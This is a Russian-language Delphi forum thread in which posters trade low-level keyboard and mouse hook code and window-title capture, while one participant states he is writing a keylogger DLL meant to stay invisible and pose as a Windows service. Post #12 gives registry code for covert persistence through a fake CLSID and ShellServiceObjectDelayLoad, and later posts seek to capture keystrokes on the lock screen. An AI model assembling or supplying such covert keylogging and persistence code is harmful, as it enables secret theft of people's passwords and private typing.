![]() |
|
|
|||||||
| Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
![]() |
|
|
Опции темы | Поиск в этой теме | Опции просмотра |
|
#1
|
|||
|
|||
|
Как правильно перехватывать нажатия на клаву во ВСЕХ приложениях?
Как перехватить нажатие, изменить значение на нужное и послать дальше винде (переназначить)? |
|
#2
|
||||
|
||||
|
Цитата:
Несколько исходников в придачу: - Keyboard hook - Key Logger - Key Statistic - ScanKey |
|
#3
|
|||
|
|||
|
нашел как без dll получить цифровой код. А кто подскажет как конвертировать его в название кнопки?
|
|
#4
|
||||
|
||||
|
Цитата:
|
|
#5
|
|||
|
|||
|
Запросто:
Код:
var //переменные в Юните
hHook: THandle;
VKey:integer;
function LowLevelKeyboardProc(nCode: Integer;
WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;
type
PKbdDllHookStrukt = ^TKbdDllHookStrukt;
_KBDLLHOOKSTRUCT = record
vkCode: DWORD;
scanCode: DWORD;
flags: DWORD;
time: DWORD;
dwExtraInfo: PDWORD;
end;
TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;
const
RPT_WPARAM_DATA = '%s';
RPT_LPARAM_DATA = '%d';
var
StrResult: String;
begin
StrResult := '';
if nCode = HC_ACTION then
Result := CallNextHookEx(hHook, nCode, WParam, LParam);
case WParam of
WM_KEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']);
WM_KEYUP: StrResult := Format(RPT_WPARAM_DATA, ['']);
WM_SYSKEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']);
WM_SYSKEYUP: StrResult := Format(RPT_WPARAM_DATA, ['']);
end;
StrResult := Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]);
VKey:=strtoint(strresult); //Получаем VKey нажатой клавиши
end;
procedure InstallHook;
const
WH_KEYBOARD_LL = 13;
begin
hHook := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
if hHook = 0 then RaiseLastOSError;
end;
procedure RemoveHook;
begin
if not UnhookWindowsHookEx(hHook) then RaiseLastOSError;
end;Собственно как теперь мне нреобразовать цифровой код в название нажатой клавиши? |
|
#6
|
||||
|
||||
|
Chr(VKey). Должно помочь.
Функция возвращает сам символ. |
|
#7
|
|||
|
|||
|
Короче проблема вот в чем
... Я пишу кейлоггер(dll) мне нужно получить строку с именем активного окна ...Api функции типа getactivewnd пытался ... не получилось ... так подскажите как ... может криво делал..Заранее невероятно благодарен...))) ![]() |
|
#8
|
|||
|
|||
|
ну вот смотри как я решил этот вопрос:
Код:
var
CWND,LastWnd:HWND;
SzKeyName, WindowName: array [0..127] of char
{...}
CWnd:=GetForegroundWindow;
GetWindowText(CWnd, SzKeyName, SizeOf(SzKeyName));клавиатура Код:
var
kHook: THandle;
iVKey:integer;
sVKey:string;
procedure KeyAction;
begin
// do sth
end;
function LowLevelKeyboardProc(nCode: Integer;
WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;
type
PKbdDllHookStrukt = ^TKbdDllHookStrukt;
_KBDLLHOOKSTRUCT = record
vkCode: DWORD;
scanCode: DWORD;
flags: DWORD;
time: DWORD;
dwExtraInfo: PDWORD;
end;
TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;
const
RPT_WPARAM_DATA = '%s';
RPT_LPARAM_DATA = '%d';
var
StrResult: String;
begin
StrResult := '';
if nCode = HC_ACTION then
Result := CallNextHookEx(kHook, nCode, WParam, LParam);
case WParam of
WM_KEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']);
WM_SYSKEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']);
end;
StrResult := Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]);
if (Wparam=WM_KEYUP) or (Wparam=WM_SYSKEYUP) then strresult:='';
sVKey:=strresult;
if strresult<>'' then
iVKey:=strtoint(strresult) //Получаем iVKey нажатой клавиши
else iVKey:=0;
KeyAction;
end;
procedure InstallKeyBoardHook;
const
WH_KEYBOARD_LL = 13;
begin
kHook := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
if kHook = 0 then RaiseLastOSError;
end;
procedure RemoveKeyBoardHook;
begin
if not UnhookWindowsHookEx(kHook) then RaiseLastOSError;
end;мышь Код:
const
WH_MOUSE_LL = 14;
tagMSLLHOOKSTRUCT = packed record
pt : TPoint;
mouseData : DWord;
flags : DWord;
time : DWord;
dwExtraInfo : PDWord;
end;
tMSLLHOOKSTRUCT = tagMSLLHOOKSTRUCT;
PMSLLHOOKSTRUCT = ^TMSLLHOOKSTRUCT;
var
mHook:HHook;
Mpt:TPoint;;
{...}
function LowLevelMouseProc(nCode:integer;wP: WPARAM ; lP:LPARAM):LRESULT; stdcall;
var
MS:PMSLLHOOKSTRUCT;
begin
if nCode<0 then
begin
Result:=CallNextHookEx(mHook,nCode,wP,lP);
exit;
end;
if wP = WM_MOUSEMOVE then //когда мышь побежала-побежала...
begin
MS:=PMSLLHOOKSTRUCT(lP);
mPt.x:=MS^.pt.X; //получаем Х-координату мыши
mPt.y:=MS^.pt.Y; //получаем У-координату мыши
end;
Case wP of
WM_LButtonDown: begin //когда нажали левую кнопку мыши
//
end;
WM_LButtonUp: begin //отпустили
//
end;
WM_RButtonDown: begin //когда нажали правую кнопку мыши
//
end;
WM_RButtonUp: begin //отпустили
//
end;
WM_MButtonDown: begin //среднюю нажали
//
end;
WM_MButtonUp: begin //отпустили
//
end;
WM_MouseWheel: begin //манипуляции и колесиком
//
end else begin //когда не WM_MOUSEWHEEL
//
end;
end;
Result:=CallNextHookEx(mHook,nCode,wP,lP);
end;
procedure InstallMouseHook; //процедура инициализации хука
begin
mHook:=SetWindowsHookEx(WH_MOUSE_LL,@LowLevelMouseProc, HInstance, 0);
end;
procedure RemoveMouseHook; //деинициализация хука
begin
UnhookWindowsHookEx(mHook);
end; |
|
#9
|
|||
|
|||
|
спасибо...CODeRUS....
буду пробовать ... а вот по поводу ... библиотеки , так я че ее использую - мне нужно невидимость в системе ... куда уж лучше .. темболее будет маскироватся как сервис виндовоза...)) - И еще одно ... Хотел узнать ... Как перехваченые коды клавиш перевести в символы с УЧЕТОМ РЕГИСТРА? С уважением RufF3D... |
|
#10
|
|||
|
|||
|
И еще один вопрос ...
Как можно отследить события клавиатуры во время блокировки logon (Win+L). Через API функции возможно? Жду ответа какк соловей лета... ))))))))Зарание спасибо... |
|
#11
|
|||
|
|||
|
кинь тогда тот кусок где скрытие происходит, интересно посмотреть
а про блокировку пока не скажу-проверять надо |
|
#12
|
|||
|
|||
|
скрытие ... я просто регитрирую dll в автозагрузку сервисов (не в раздел RUN) там где регятся сервисы / ну шота типа этого ....:
Reg:TRegistry; Temp:TGUID; S:String; t:textfile; begin CreateGUID(Temp); s := GUIDToString(Temp); Reg := TRegistry.Create; reg.rootkey:=HKEY_CLASSES_ROOT; if reg.openkey ('CLSID\'+s+'\InProcServer32', true) then // хёыш ёючфрыш шфхэЄшЇшърЄюЁ ъырёёр begin reg.writestring('',windir+'spy.dll'); //±єёЄ№ ъ сшсышюЄхъх reg.closekey; reg.rootkey:=HKEY_LOCAL_MACHINE; reg.openkey('Software\Microsoft\Windows\CurrentVer sion\ShellServiceObjectDelayLoad', true); reg.writestring('SpyDllLoad', s); reg.closekey; end; Reg.Free; end; |
|
#13
|
|||
|
|||
|
а оно потом в процессах не светится что ли?
надо попробовать будет...... |
|
#14
|
|||
|
|||
|
вообще то ... библиотеки в процессах не видны ...(во всяком случае для ламеров), а запускается она как системная dll...
...так че там с блокировкой ... как это обойти... (ато hook не ловит) ![]() |
|
#15
|
|||
|
|||
|
так мне поможет кто-нить с блокировкой...?
=- люди ... ну где же вы...? - или эт слижком сложно...? жду ответа ...))) |